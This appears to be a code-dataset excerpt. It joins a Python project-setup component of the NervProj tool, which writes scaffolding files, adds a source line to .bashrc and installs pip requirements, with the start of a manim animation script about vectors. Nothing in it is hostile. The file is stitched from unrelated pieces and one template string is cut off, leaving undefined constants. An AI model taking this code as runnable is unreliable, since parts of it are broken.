content = "\n".join(content)
self.write_text_file(content, dest_file)
# Should install the cli script files:
dest_file = self.get_path(proj_dir, "cli.py")
if not self.file_exists(dest_file):
logger.info("Writting cli python file %s", dest_file)
content = DEFAULT_CLI_PY_CONTENT
self.write_text_file(content, dest_file)
dest_file = self.get_path(proj_dir, "cli.sh")
if not self.file_exists(dest_file):
logger.info("Writting cli shell file %s", dest_file)
content = DEFAULT_CLI_SH_CONTENT
content = content.replace("${PROJ_NAME}", proj_name.lower())
# Use the linux python version below:
content = content.replace("${PY_VERSION}", py_vers['linux'])
self.write_text_file(content, dest_file, newline="\n")
dest_file = self.get_path(proj_dir, "cli.bat")
if not self.file_exists(dest_file):
logger.info("Writting cli batch file %s", dest_file)
content = DEFAULT_CLI_BAT_CONTENT
content = content.replace("${PROJ_NAME}", proj_name.upper())
# Use the windows versionq below:
content = content.replace("${PY_VERSION}", py_vers['windows'])
content = content.replace("${ZIP_VERSION}", sevenzip_vers['windows'])
self.write_text_file(content, dest_file)
# Finish writting the vscode config:
if ref_config is None or config != ref_config:
logger.info("Wrtting updated vscode settings in %s", cfg_file)
self.write_json(config, cfg_file)
else:
logger.info("No change in %s", cfg_file)
# Also copy to actuall settings if we don't have the file yet:
cfg_file2 = self.get_path(config_dir, "settings.json")
if not self.file_exists(cfg_file2):
logger.info("Copyging VSCode settings template to %s", cfg_file2)
self.copy_file(cfg_file, cfg_file2)
# Write the env file if needed:
dest_file = self.get_path(proj_dir, ".vs_env")
if not self.file_exists(dest_file):
logger.info("Writting python env file %s", dest_file)
content = DEFAULT_PYTHONENV_CONTENT
sep = ";" if self.is_windows else ":"
content = content.replace("${NVP_ROOT_DIR}", "" if with_py else self.ctx.get_root_dir())
content = content.replace("${SEP}", "" if with_py else sep)
self.write_text_file(content, dest_file)
# and write a .editorconfig file:
dest_file = self.get_path(proj_dir, ".editorconfig")
if not self.file_exists(dest_file):
logger.info("Writting editor config file %s", dest_file)
content = DEFAULT_EDITORCONFIG_CONTENT
self.write_text_file(content, dest_file)
# and write a .gitignore file:
dest_file = self.get_path(proj_dir, ".gitignore")
if not self.file_exists(dest_file):
logger.info("Writting .gitignore file %s", dest_file)
content = DEFAULT_GITIGNORE_CONTENT
content += "\n".join(ignore_elems)
content += "\n"
self.write_text_file(content, dest_file)
# and write a .gitattributes file:
dest_file = self.get_path(proj_dir, ".gitattributes")
if not self.file_exists(dest_file):
logger.info("Writting .gitattributes file %s", dest_file)
content = DEFAULT_GITATTRIBUTES_CONTENT
self.write_text_file(content, dest_file)
# write a nvp_config.json file:
dest_file = self.get_path(proj_dir, "nvp_config.json")
if not self.file_exists(dest_file):
logger.info("Writting nvp_config.json file %s", dest_file)
content = DEFAULT_NVPCONFIG_CONTENT
self.write_text_file(content, dest_file)
# write a nvp_plug.py file:
dest_file = self.get_path(proj_dir, "nvp_plug.py")
if not self.file_exists(dest_file):
logger.info("Writting nvp_plug.py file %s", dest_file)
content = DEFAULT_NVPPLUG_CONTENT.replace("${PROJ_NAME}", proj_name)
self.write_text_file(content, dest_file)
# Add pull rebase = false to .git/config
cfg_file = self.get_path(proj_dir, ".git", "config")
assert self.file_exists(cfg_file), f"Cannot fine git config file at {cfg_file}"
# Load that config:
config = self.read_ini(cfg_file)
save_needed = False
if 'pull' not in config:
logger.info("Adding pull section in git config.")
config['pull'] = {
"rebase": "false",
}
save_needed = True
else:
pull = config['pull']
if pull['rebase'] != 'false':
logger.info("Updating git pull rebase from %s to %s", pull['rebase'], 'false')
pull['rebase'] = 'false'
save_needed = True
if save_needed:
self.write_ini(config, cfg_file)
def process_command(self, cmd0):
"""Re-implementation of the process_command method."""
if cmd0 != 'admin':
return False
cmd1 = self.ctx.get_command(1)
cmd2 = self.ctx.get_command(2)
if cmd1 == 'install' and cmd2 == 'cli':
self.install_cli()
return True
if cmd1 == 'install' and cmd2 == 'reqs':
self.install_python_requirements()
return True
if cmd1 == 'install' and cmd2 == 'repo':
self.install_repository_bootstrap()
return True
if cmd1 == 'init':
self.setup_global_vscode_config()
proj = self.ctx.get_current_project()
proj_dir = proj.get_root_dir() if proj is not None else self.ctx.get_root_dir()
proj_name = proj.get_name(False) if proj is not None else "NervProj"
self.init_project_config(proj_dir, proj_name)
return True
return False
| 35.617605 | 143 | 0.610015 | import os
import sys
import logging
from nvp.nvp_component import NVPComponent
from nvp.nvp_context import NVPContext
logger = logging.getLogger(__name__)
DEFAULT_EDITORCONFIG_CONTENT = """# Autogenerated .editorconfig file
# Update as needed.
root = true
[*]
end_of_line = lf
"""
DEFAULT_GITIGNORE_CONTENT = """# Ignore python compiled files:
*.pyc
# Ignore .vs_env file:
.vs_env
# Ignore visual studio code actual settings file:
.vscode/settings.json
# Ignore log files:
*.log
"""
DEFAULT_PYTHONENV_CONTENT = """# Autogenerated .vs_env file
# Update as needed.
PYTHONPATH=.${SEP}${NVP_ROOT_DIR}
"""
DEFAULT_NVPCONFIG_CONTENT = """/* NVP project configuration file */
{
// Add config entries as needed here.
}
"""
DEFAULT_NVPPLUG_CONTENT = '''""" NVP plug entrypoint module for ${PROJ_NAME} """
import logging
from nvp.nvp_component import NVPComponent
from nvp.nvp_context import NVPContext
logger = logging.getLogger('${PROJ_NAME}')
def register_nvp_plugin(context, proj):
"""This function should register this plugin in the current NVP context"""
logger.info("Registering ${PROJ_NAME} NVP plugin.")
proj.register_component('${PROJ_NAME}', MyComponent(context))
class MyComponent(NVPComponent):
"""Example component class"""
def __init__(self, ctx: NVPContext):
"""Constructor for component"""
NVPComponent.__init__(self, ctx)
# define parsers and build required logic from here:
# desc = {
# "build": {"libs": None},
# }
# ctx.define_subparsers("main", desc)
# psr = ctx.get_parser('main.build')
# psr.add_argument("-c", "--compiler", dest='compiler_type', type=str,
# help="Specify which type of compiler should be selected")
'''
dapt the code below to be your application entrypoint.
parser = argparse.ArgumentParser()
args = parser.parse_args()
print("Should implement application logic here.")
'''
DEFAULT_CLI_SH_CONTENT = '''#!/bin/bash
# cf. https://stackoverflow.com/questions/59895/how-can-i-get-the-source-directory-of-a-bash-script-from-within-the-script-itsel
ROOT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" &>/dev/null && pwd)
_${PROJ_NAME}_run_cli_windows() {
# On windows we should simply rely on the cli.bat script below:
ROOT_DIR="$(cygpath -w $ROOT_DIR)"
cmd /C "$ROOT_DIR\cli.bat" "$@"
}
_${PROJ_NAME}_run_cli_linux() {
local python_version="${PY_VERSION}"
# On linux we should call the python cli directly:
# Get the project root folder:
local root_dir=$(readlink -f $ROOT_DIR/)
# echo "Project root dir is: $root_dir"
# Check if we already have python:
local tools_dir=$root_dir/tools/linux
if [[ ! -d $tools_dir ]]; then
echo "Creating tools/linux folder..."
mkdir $tools_dir
fi
local python_dir=$tools_dir/python-$python_version
local python_path=$python_dir/bin/python3
if [[ ! -d $python_dir ]]; then
# Get the path to package:
local python_pkg=$root_dir/tools/packages/python-$python_version-linux.tar.xz
echo "Extracting $python_pkg..."
# $unzip_path x -o"$tools_dir" "$python_pkg" > /dev/null
pushd $tools_dir >/dev/null
tar xvJf $python_pkg
popd >/dev/null
# Once we have deployed the base python tool package we start with upgrading pip:
echo "Upgrading pip..."
$python_path -m pip install --upgrade pip
# Finally we install the python requirements:
echo "Installing python requirements..."
$python_path -m pip install -r $root_dir/tools/requirements.txt
fi
if [ "$1" == "--install-py-reqs" ]; then
echo "Installing python requirements..."
$python_path -m pip install -r $root_dir/tools/requirements.txt
elif [ "$1" == "python" ]; then
# shift the args by one:
shift
$python_path "$@"
elif [ "$1" == "pip" ]; then
# shift the args by one:
shift
$python_path -m pip "$@"
else
# Execute the command in python:
$python_path $root_dir/cli.py "$@"
fi
}
${PROJ_NAME}() {
if [ "$1" == "home" ]; then
# We simply go to the home of this project:
cd "$ROOT_DIR"
else
# Check if we are on a windows or a linux system:
pname=$(uname -s)
case $pname in
CYGWIN*)
_${PROJ_NAME}_run_cli_windows "$@"
;;
*)
_${PROJ_NAME}_run_cli_linux "$@"
;;
esac
fi
}
# cf. https://askubuntu.com/questions/141928/what-is-the-difference-between-bin-sh-and-bin-bash
(return 0 2>/dev/null) && sourced=1 || sourced=0
if [ "$sourced" == "0" ]; then
${PROJ_NAME} "$@"
else
echo "${PROJ_NAME} command loaded."
fi
'''
DEFAULT_CLI_BAT_CONTENT = '''
@echo off
SETLOCAL ENABLEDELAYEDEXPANSION
@REM Retrieve the current folder:
@REM cli script is located directly in the root, so we don't need the '..' in path:
@REM cd /D %~dp0..
cd /D %~dp0
FOR /F %%i IN (".") DO set ${PROJ_NAME}_ROOT_DIR=%%~fi
set ${PROJ_NAME}_DIR=%${PROJ_NAME}_ROOT_DIR%
@REM echo Using NervProj root folder: %${PROJ_NAME}_DIR%
@REM Extract the python env if needed:
set py_vers=${PY_VERSION}
set TOOLS_DIR=%${PROJ_NAME}_DIR%\\tools\\windows\\
set UNZIP=%TOOLS_DIR%\\7zip-${ZIP_VERSION}\\7za.exe
set PYTHON=%TOOLS_DIR%\\python-%py_vers%\\python.exe
@REM Check if python is extracted already:
if not exist "%PYTHON%" (
echo Extracting python tool...
%UNZIP% x -o"%TOOLS_DIR%" "%${PROJ_NAME}_DIR%\\tools\\packages\\python-%py_vers%-windows.7z" > nul
@REM Upgrade pip:
%PYTHON% -m pip install --upgrade pip
@REM Install requirements:
%PYTHON% -m pip install -r %${PROJ_NAME}_DIR%\\tools\\requirements.txt
)
@REM check if the first argument is "--install-py-reqs"
IF /i "%~1" == "--install-py-reqs" goto install_reqs
IF /i "%~1" == "python" goto run_python
IF /i "%~1" == "pip" goto run_pip
%PYTHON% %NERVHOME_DIR%\cli.py %*
goto common_exit
:install_reqs
%PYTHON% -m pip install -r %NERVHOME_DIR%\tools\requirements.txt
goto common_exit
@REM cannot rely on %* when we use shift below:
:run_python
shift
%PYTHON% %1 %2 %3 %4 %5 %6 %7 %8 %9
goto common_exit
:run_pip
shift
%PYTHON% -m pip %1 %2 %3 %4 %5 %6 %7 %8 %9
goto common_exit
:common_exit
'''
def register_component(ctx: NVPContext):
comp = AdminManager(ctx)
ctx.register_component('admin', comp)
class AdminManager(NVPComponent):
def __init__(self, ctx: NVPContext):
NVPComponent.__init__(self, ctx)
# # Check the value of the sub command:
# sub_cmd = self.settings['l1_cmd']
# if sub_cmd == 'install-cli':
# self.install_cli()
desc = {
"admin": {
"install": {"cli": None, "reqs": None, "repo": None},
"init": None,
}
}
ctx.define_subparsers("main", desc)
psr = ctx.get_parser('main.admin.init')
psr.add_argument("-p", "--with-py-env", dest="with_py_env", action="store_true",
help="Request deployment of a full python environment.")
def install_cli(self):
# Check if an $HOME folder is provider:
home_dir = os.getenv('HOME')
if home_dir is None:
logger.error("Cannot install cli alias: no $HOME environment variable detected.")
return
logger.info("Home folder is: %s", home_dir)
# Check if we have a .bashrc file in that folder:
bashrc_file = self.get_path(home_dir, ".bashrc")
if not self.file_exists(bashrc_file):
logger.warning("Cannot install cli alias: no .bashrc file in HOME folder.")
return
script_path = self.get_path(self.ctx.get_root_dir(), "cli.sh")
# If we are on windows, we may want to convert this path to a cygwin path
# if we are in a cygwin environment (but running the native python executable):
if self.is_windows:
script_path = self.to_cygwin_path(script_path)
assert script_path is not None, "Invalid cygwin environment."
sline = f"\n[ -f \"{script_path}\" ] && source \"{script_path}\"\n"
# Check if this string is already in the bashrc file:
content = self.read_text_file(bashrc_file)
if content.find(sline) == -1:
# We should add the string:
logger.info("Adding source file in .bashrc for NervProj")
# Make a backup of the file:
self.copy_file(bashrc_file, bashrc_file+".bak", force=True)
self.write_text_file(content+sline, bashrc_file, newline='\n')
else:
logger.info("NervProj setup file already referenced in .bashrc")
# pp = pprint.PrettyPrinter(indent=2)
# res = pp.pformat(dict(os.environ))
# logger.info("Current environment is: %s", res)
def install_python_requirements(self):
logger.info("Installing python requirements...")
reqfile = self.get_path(self.ctx.get_root_dir(), "tools/requirements.txt")
cmd = [sys.executable, "-m", "pip", "install", "-r", reqfile]
# logger.info("Executing command: %s", cmd)
self.execute(cmd)
logger.info("Done installing python requirements.")
def install_repository_bootstrap(self):
base_dir = self.ctx.get_root_dir()
if self.dir_exists(base_dir, ".git"):
logger.info(".git folder already exists, bootstrapping ignored.")
return
# We need to bootstrap in a temp folder:
git = self.get_component('git')
url = self.config["repository_url"]
dest_dir = self.get_path(base_dir, "temp", "nervproj")
logger.info("Cloning NervProj folder into %s...", dest_dir)
git.clone_repository(url, dest_dir)
# When cloning is done we should move the .git folder from the clone location into our root
self.move_path(self.get_path(dest_dir, ".git"), self.get_path(base_dir, ".git"))
# And finally we remove the remaining files:
self.remove_folder(dest_dir)
logger.info("Done bootstrapping NervProj project.")
def setup_global_vscode_config(self, config_dir=None):
if config_dir is None:
# * on windows: in C:/Users/kenshin/AppData/Roaming/Code/User/settings.json
# => should use os.getenv('APPDATA')
# * on linux: in /home/kenshin/.config/Code/User/settings.json
if self.is_windows:
base_dir = os.getenv("APPDATA")
else:
base_dir = self.get_path(self.ctx.get_home_dir(), ".config")
config_dir = self.get_path(base_dir, "Code", "User")
cfg_file = self.get_path(config_dir, "settings.json")
config = {}
ref_config = None
if not self.file_exists(cfg_file):
# Ensure the folder exists:
self.make_folder(config_dir)
else:
# Read the config:
config = self.read_json(cfg_file)
# Keep a copy to compare the changes:
ref_config = self.read_json(cfg_file)
# Now write the changes we want:
tools = self.get_component('tools')
config["git.path"] = tools.get_git_path()
config["python.linting.pylintEnabled"] = True
config["python.linting.enabled"] = True
config["python.linting.pylintPath"] = tools.get_tool_path('pylint')
config["python.linting.pylintArgs"] = [
"--max-line-length=120",
"--good-names=i,j,k,ex,Run,_,x,y,z,w,t,dt",
"--good-names-rgxs=[a-z][0-9]$"]
config["python.defaultInterpreterPath"] = tools.get_tool_path('python')
config["python.formatting.autopep8Path"] = tools.get_tool_path("autopep8")
config["python.formatting.provider"] = "autopep8"
config["python.formatting.autopep8Args"] = ["--max-line-length=120", "--experimental"]
config["editor.formatOnSave"] = True
config["cmakeFormat.exePath"] = tools.get_tool_path("cmake_format")
if ref_config is None or config != ref_config:
logger.info("Wrtting updated vscode settings in %s", cfg_file)
self.write_json(config, cfg_file)
else:
logger.info("No change in %s", cfg_file)
def init_project_config(self, proj_dir, proj_name):
config_dir = self.get_path(proj_dir, ".vscode")
cfg_file = self.get_path(config_dir, "settings.template.json")
self.make_folder(config_dir)
config = {}
ref_config = None
# Check if we should provide a python environment in this project:
with_py = self.get_param("with_py_env", False)
if with_py:
logger.info("Setting up dedicated python env for %s", proj_name)
if self.file_exists(cfg_file):
# Read the config:
config = self.read_json(cfg_file)
# Keep a copy to compare the changes:
ref_config = self.read_json(cfg_file)
config["python.envFile"] = "${workspaceFolder}/.vs_env"
ignore_elems = []
if with_py:
# We deploy the python packages:
dest_dir = self.get_path(proj_dir, "tools", "packages")
self.make_folder(dest_dir)
# get the python version on windows:
py_vers = {}
sevenzip_vers = {}
for plat_name in ["windows", "linux"]:
for el in self.config[f'{plat_name}_tools']:
if el["name"] == 'python':
py_vers[plat_name] = el["version"]
if el["name"] == '7zip':
sevenzip_vers[plat_name] = el["version"]
for plat_name, py_version in py_vers.items():
for ext in [".7z", ".tar.xz"]:
file_name = f"python-{py_version}-{plat_name}{ext}"
src_file = self.get_path(self.ctx.get_root_dir(), "tools", "packages", file_name)
dst_file = self.get_path(dest_dir, file_name)
if self.file_exists(src_file) and not self.file_exists(dst_file):
logger.info("Adding package file %s", dst_file)
self.copy_file(src_file, dst_file)
# more updates to vscode settings if we have a dedicated python env:
cur_py_vers = py_vers[self.platform]
ext = ".exe" if self.is_windows else ""
config["python.linting.pylintEnabled"] = True
config["python.linting.enabled"] = True
config["python.linting.pylintPath"] = f"${{workspaceFolder}}/tools/{self.platform}/python-{cur_py_vers}/Scripts/pylint{ext}"
config["python.linting.pylintArgs"] = ["--max-line-length=120"]
config["python.defaultInterpreterPath"] = f"${{workspaceFolder}}/tools/{self.platform}/python-{cur_py_vers}/python{ext}"
config["python.formatting.autopep8Path"] = f"${{workspaceFolder}}/tools/{self.platform}/python-{cur_py_vers}/Scripts/autopep8{ext}"
config["python.formatting.provider"] = "autopep8"
config["python.formatting.autopep8Args"] = ["--max-line-length=120", "--experimental"]
# Next, for the windows part we need to deploy the 7zip package too:
folder_name = f"7zip-{sevenzip_vers['windows']}"
src_folder = self.get_path(self.ctx.get_root_dir(), "tools", "windows", folder_name)
dst_folder = self.get_path(proj_dir, "tools", "windows", folder_name)
if not self.dir_exists(dst_folder):
logger.info("Adding windows 7zip package at %s", dst_folder)
self.copy_folder(src_folder, dst_folder)
# Update the ignore elements:
ignore_elems += ["",
"# Ignore all the windows tools except the 7zip folder:",
"tools/windows/*",
"!tools/windows/7zip-*",
"tools/linux/*"]
# Should also install an requirements.txt file:
dest_file = self.get_path(proj_dir, "tools", "requirements.txt")
if not self.file_exists(dest_file):
logger.info("Installing pythong requirements file.")
content = ["# List here all the required python packages",
"# Then call cli.{sh/bat} --install-py-reqs",
"",
"pylint",
"autopep8",
""]
content = "\n".join(content)
self.write_text_file(content, dest_file)
# Should install the cli script files:
dest_file = self.get_path(proj_dir, "cli.py")
if not self.file_exists(dest_file):
logger.info("Writting cli python file %s", dest_file)
content = DEFAULT_CLI_PY_CONTENT
self.write_text_file(content, dest_file)
dest_file = self.get_path(proj_dir, "cli.sh")
if not self.file_exists(dest_file):
logger.info("Writting cli shell file %s", dest_file)
content = DEFAULT_CLI_SH_CONTENT
content = content.replace("${PROJ_NAME}", proj_name.lower())
# Use the linux python version below:
content = content.replace("${PY_VERSION}", py_vers['linux'])
self.write_text_file(content, dest_file, newline="\n")
dest_file = self.get_path(proj_dir, "cli.bat")
if not self.file_exists(dest_file):
logger.info("Writting cli batch file %s", dest_file)
content = DEFAULT_CLI_BAT_CONTENT
content = content.replace("${PROJ_NAME}", proj_name.upper())
# Use the windows versionq below:
content = content.replace("${PY_VERSION}", py_vers['windows'])
content = content.replace("${ZIP_VERSION}", sevenzip_vers['windows'])
self.write_text_file(content, dest_file)
# Finish writting the vscode config:
if ref_config is None or config != ref_config:
logger.info("Wrtting updated vscode settings in %s", cfg_file)
self.write_json(config, cfg_file)
else:
logger.info("No change in %s", cfg_file)
# Also copy to actuall settings if we don't have the file yet:
cfg_file2 = self.get_path(config_dir, "settings.json")
if not self.file_exists(cfg_file2):
logger.info("Copyging VSCode settings template to %s", cfg_file2)
self.copy_file(cfg_file, cfg_file2)
dest_file = self.get_path(proj_dir, ".vs_env")
if not self.file_exists(dest_file):
logger.info("Writting python env file %s", dest_file)
content = DEFAULT_PYTHONENV_CONTENT
sep = ";" if self.is_windows else ":"
content = content.replace("${NVP_ROOT_DIR}", "" if with_py else self.ctx.get_root_dir())
content = content.replace("${SEP}", "" if with_py else sep)
self.write_text_file(content, dest_file)
dest_file = self.get_path(proj_dir, ".editorconfig")
if not self.file_exists(dest_file):
logger.info("Writting editor config file %s", dest_file)
content = DEFAULT_EDITORCONFIG_CONTENT
self.write_text_file(content, dest_file)
dest_file = self.get_path(proj_dir, ".gitignore")
if not self.file_exists(dest_file):
logger.info("Writting .gitignore file %s", dest_file)
content = DEFAULT_GITIGNORE_CONTENT
content += "\n".join(ignore_elems)
content += "\n"
self.write_text_file(content, dest_file)
dest_file = self.get_path(proj_dir, ".gitattributes")
if not self.file_exists(dest_file):
logger.info("Writting .gitattributes file %s", dest_file)
content = DEFAULT_GITATTRIBUTES_CONTENT
self.write_text_file(content, dest_file)
dest_file = self.get_path(proj_dir, "nvp_config.json")
if not self.file_exists(dest_file):
logger.info("Writting nvp_config.json file %s", dest_file)
content = DEFAULT_NVPCONFIG_CONTENT
self.write_text_file(content, dest_file)
dest_file = self.get_path(proj_dir, "nvp_plug.py")
if not self.file_exists(dest_file):
logger.info("Writting nvp_plug.py file %s", dest_file)
content = DEFAULT_NVPPLUG_CONTENT.replace("${PROJ_NAME}", proj_name)
self.write_text_file(content, dest_file)
cfg_file = self.get_path(proj_dir, ".git", "config")
assert self.file_exists(cfg_file), f"Cannot fine git config file at {cfg_file}"
config = self.read_ini(cfg_file)
save_needed = False
if 'pull' not in config:
logger.info("Adding pull section in git config.")
config['pull'] = {
"rebase": "false",
}
save_needed = True
else:
pull = config['pull']
if pull['rebase'] != 'false':
logger.info("Updating git pull rebase from %s to %s", pull['rebase'], 'false')
pull['rebase'] = 'false'
save_needed = True
if save_needed:
self.write_ini(config, cfg_file)
def process_command(self, cmd0):
if cmd0 != 'admin':
return False
cmd1 = self.ctx.get_command(1)
cmd2 = self.ctx.get_command(2)
if cmd1 == 'install' and cmd2 == 'cli':
self.install_cli()
return True
if cmd1 == 'install' and cmd2 == 'reqs':
self.install_python_requirements()
return True
if cmd1 == 'install' and cmd2 == 'repo':
self.install_repository_bootstrap()
return True
if cmd1 == 'init':
self.setup_global_vscode_config()
proj = self.ctx.get_current_project()
proj_dir = proj.get_root_dir() if proj is not None else self.ctx.get_root_dir()
proj_name = proj.get_name(False) if proj is not None else "NervProj"
self.init_project_config(proj_dir, proj_name)
return True
return False
| true | true |
f73c264eb1e10f6ea4fa8dd0e46d3e8b987fe466 | 39,990 | py | Python | old_projects/eola/chapter1.py | aDotInTheVoid/manim | eb3e5f419cb164f12b253cf885e19c35c62a2f31 | [
"MIT"
] | null | null | null | old_projects/eola/chapter1.py | aDotInTheVoid/manim | eb3e5f419cb164f12b253cf885e19c35c62a2f31 | [
"MIT"
] | null | null | null | old_projects/eola/chapter1.py | aDotInTheVoid/manim | eb3e5f419cb164f12b253cf885e19c35c62a2f31 | [
"MIT"
] | null | null | null | from manimlib.imports import *
from old_projects.eola.chapter0 import UpcomingSeriesOfVidoes
import random
def plane_wave_homotopy(x, y, z, t):
norm = get_norm([x, y])
tau = interpolate(5, -5, t) + norm/FRAME_X_RADIUS
alpha = sigmoid(tau)
return [x, y + 0.5*np.sin(2*np.pi*alpha)-t*SMALL_BUFF/2, z]
class Physicist(PiCreature):
CONFIG = {
"color": PINK,
}
class ComputerScientist(PiCreature):
CONFIG = {
"color": PURPLE_E,
"flip_at_start": True,
}
class OpeningQuote(Scene):
def construct(self):
words = TextMobject(
"``The introduction of numbers as \\\\ coordinates is an act of violence.''",
)
words.to_edge(UP)
for mob in words.submobjects[27:27+11]:
mob.set_color(GREEN)
author = TextMobject("-Hermann Weyl")
author.set_color(YELLOW)
author.next_to(words, DOWN, buff=0.5)
self.play(FadeIn(words))
self.wait(1)
self.play(Write(author, run_time=4))
self.wait()
class DifferentConceptions(Scene):
def construct(self):
physy = Physicist()
mathy = Mathematician(mode="pondering")
compy = ComputerScientist()
creatures = [physy, compy, mathy]
physy.title = TextMobject("Physics student").to_corner(DOWN+LEFT)
compy.title = TextMobject("CS student").to_corner(DOWN+RIGHT)
mathy.title = TextMobject("Mathematician").to_edge(DOWN)
names = VMobject(physy.title, mathy.title, compy.title)
names.arrange(RIGHT, buff=1)
names.to_corner(DOWN+LEFT)
for pi in creatures:
pi.next_to(pi.title, UP)
vector, symbol, coordinates = self.intro_vector()
for pi in creatures:
self.play(
Write(pi.title),
FadeIn(pi),
run_time=1
)
self.wait(2)
self.remove(symbol, coordinates)
self.physics_conception(creatures, vector)
self.cs_conception(creatures)
self.handle_mathy(creatures)
def intro_vector(self):
plane = NumberPlane()
labels = VMobject(*plane.get_coordinate_labels())
vector = Vector(RIGHT+2*UP, color=YELLOW)
coordinates = vector_coordinate_label(vector)
symbol = TexMobject("\\vec{\\textbf{v}}")
symbol.shift(0.5*(RIGHT+UP))
self.play(ShowCreation(
plane,
lag_ratio=1,
run_time=3
))
self.play(ShowCreation(
vector,
))
self.play(
Write(labels),
Write(coordinates),
Write(symbol)
)
self.wait(2)
self.play(
FadeOut(plane),
FadeOut(labels),
ApplyMethod(vector.shift, 4*LEFT+UP),
ApplyMethod(coordinates.shift, 2.5*RIGHT+0.5*DOWN),
ApplyMethod(symbol.shift, 0.5*(UP+LEFT))
)
self.remove(plane, labels)
return vector, symbol, coordinates
def physics_conception(self, creatures, original_vector):
self.fade_all_but(creatures, 0)
physy, compy, mathy = creatures
vector = Vector(2*RIGHT)
vector.next_to(physy, UP+RIGHT)
brace = Brace(vector, DOWN)
length = TextMobject("Length")
length.next_to(brace, DOWN)
group = VMobject(vector, brace, length)
group.rotate_in_place(np.pi/6)
vector.get_center = lambda: vector.get_start()
direction = TextMobject("Direction")
direction.next_to(vector, RIGHT)
direction.shift(UP)
two_dimensional = TextMobject("Two-dimensional")
three_dimensional = TextMobject("Three-dimensional")
two_dimensional.to_corner(UP+RIGHT)
three_dimensional.to_corner(UP+RIGHT)
random_vectors = VMobject(*[
Vector(
random.uniform(-2, 2)*RIGHT +
random.uniform(-2, 2)*UP
).shift(
random.uniform(0, 4)*RIGHT +
random.uniform(-1, 2)*UP
).set_color(random_color())
for x in range(5)
])
self.play(
Transform(original_vector, vector),
ApplyMethod(physy.change_mode, "speaking")
)
self.remove(original_vector)
self.add(vector)
self.wait()
self.play(
GrowFromCenter(brace),
Write(length),
run_time=1
)
self.wait()
self.remove(brace, length)
self.play(
Rotate(vector, np.pi/3, in_place=True),
Write(direction),
run_time=1
)
for angle in -2*np.pi/3, np.pi/3:
self.play(Rotate(
vector, angle,
in_place=True,
run_time=1
))
self.play(ApplyMethod(physy.change_mode, "plain"))
self.remove(direction)
for point in 2*UP, 4*RIGHT, ORIGIN:
self.play(ApplyMethod(vector.move_to, point))
self.wait()
self.play(
Write(two_dimensional),
ApplyMethod(physy.change_mode, "pondering"),
ShowCreation(random_vectors, lag_ratio=0.5),
run_time=1
)
self.wait(2)
self.remove(random_vectors, vector)
self.play(Transform(two_dimensional, three_dimensional))
self.wait(5)
self.remove(two_dimensional)
self.restore_creatures(creatures)
def cs_conception(self, creatures):
self.fade_all_but(creatures, 1)
physy, compy, mathy = creatures
title = TextMobject("Vectors $\\Leftrightarrow$ lists of numbers")
title.to_edge(UP)
vectors = VMobject(*list(map(matrix_to_mobject, [
[2, 1],
[5, 0, 0, -3],
[2.3, -7.1, 0.1],
])))
vectors.arrange(RIGHT, buff=1)
vectors.to_edge(LEFT)
self.play(
ApplyMethod(compy.change_mode, "sassy"),
Write(title, run_time=1)
)
self.play(Write(vectors))
self.wait()
self.play(ApplyMethod(compy.change_mode, "pondering"))
self.house_example(vectors, title)
self.restore_creatures(creatures)
def house_example(self, starter_mobject, title):
house = SVGMobject("house")
house.set_stroke(width=0)
house.set_fill(BLUE_C, opacity=1)
house.set_height(3)
house.center()
square_footage_words = TextMobject("Square footage:")
price_words = TextMobject("Price: ")
square_footage = TexMobject("2{,}600\\text{ ft}^2")
price = TextMobject("\\$300{,}000")
house.to_edge(LEFT).shift(UP)
square_footage_words.next_to(house, RIGHT)
square_footage_words.shift(0.5*UP)
square_footage_words.set_color(RED)
price_words.next_to(square_footage_words, DOWN, aligned_edge=LEFT)
price_words.set_color(GREEN)
square_footage.next_to(square_footage_words)
square_footage.set_color(RED)
price.next_to(price_words)
price.set_color(GREEN)
vector = Matrix([square_footage.copy(), price.copy()])
vector.next_to(house, RIGHT).shift(0.25*UP)
new_square_footage, new_price = vector.get_mob_matrix().flatten()
not_equals = TexMobject("\\ne")
not_equals.next_to(vector)
alt_vector = Matrix([
TextMobject("300{,}000\\text{ ft}^2").set_color(RED),
TextMobject("\\$2{,}600").set_color(GREEN)
])
alt_vector.next_to(not_equals)
brace = Brace(vector, RIGHT)
two_dimensional = TextMobject("2 dimensional")
two_dimensional.next_to(brace)
brackets = vector.get_brackets()
self.play(Transform(starter_mobject, house))
self.remove(starter_mobject)
self.add(house)
self.add(square_footage_words)
self.play(Write(square_footage, run_time=2))
self.add(price_words)
self.play(Write(price, run_time=2))
self.wait()
self.play(
FadeOut(square_footage_words), FadeOut(price_words),
Transform(square_footage, new_square_footage),
Transform(price, new_price),
Write(brackets),
run_time=1
)
self.remove(square_footage_words, price_words)
self.wait()
self.play(
Write(not_equals),
Write(alt_vector),
run_time=1
)
self.wait()
self.play(FadeOut(not_equals), FadeOut(alt_vector))
self.remove(not_equals, alt_vector)
self.wait()
self.play(
GrowFromCenter(brace),
Write(two_dimensional),
run_time=1
)
self.wait()
everything = VMobject(
house, square_footage, price, brackets, brace,
two_dimensional, title
)
self.play(ApplyMethod(everything.shift, FRAME_WIDTH*LEFT))
self.remove(everything)
def handle_mathy(self, creatures):
self.fade_all_but(creatures, 2)
physy, compy, mathy = creatures
v_color = YELLOW
w_color = BLUE
sum_color = GREEN
v_arrow = Vector([1, 1])
w_arrow = Vector([2, 1])
w_arrow.shift(v_arrow.get_end())
sum_arrow = Vector(w_arrow.get_end())
arrows = VMobject(v_arrow, w_arrow, sum_arrow)
arrows.scale(0.7)
arrows.to_edge(LEFT, buff=2)
v_array = matrix_to_mobject([3, -5])
w_array = matrix_to_mobject([2, 1])
sum_array = matrix_to_mobject(["3+2", "-5+1"])
arrays = VMobject(
v_array, TexMobject("+"), w_array, TexMobject("="), sum_array
)
arrays.arrange(RIGHT)
arrays.scale(0.75)
arrays.to_edge(RIGHT).shift(UP)
v_sym = TexMobject("\\vec{\\textbf{v}}")
w_sym = TexMobject("\\vec{\\textbf{w}}")
syms = VMobject(v_sym, TexMobject("+"), w_sym)
syms.arrange(RIGHT)
syms.center().shift(2*UP)
statement = TextMobject("We'll ignore him \\\\ for now")
statement.set_color(PINK)
statement.set_width(arrays.get_width())
statement.next_to(arrays, DOWN, buff=1.5)
circle = Circle()
circle.shift(syms.get_bottom())
VMobject(v_arrow, v_array, v_sym).set_color(v_color)
VMobject(w_arrow, w_array, w_sym).set_color(w_color)
VMobject(sum_arrow, sum_array).set_color(sum_color)
self.play(
Write(syms), Write(arrays),
ShowCreation(arrows),
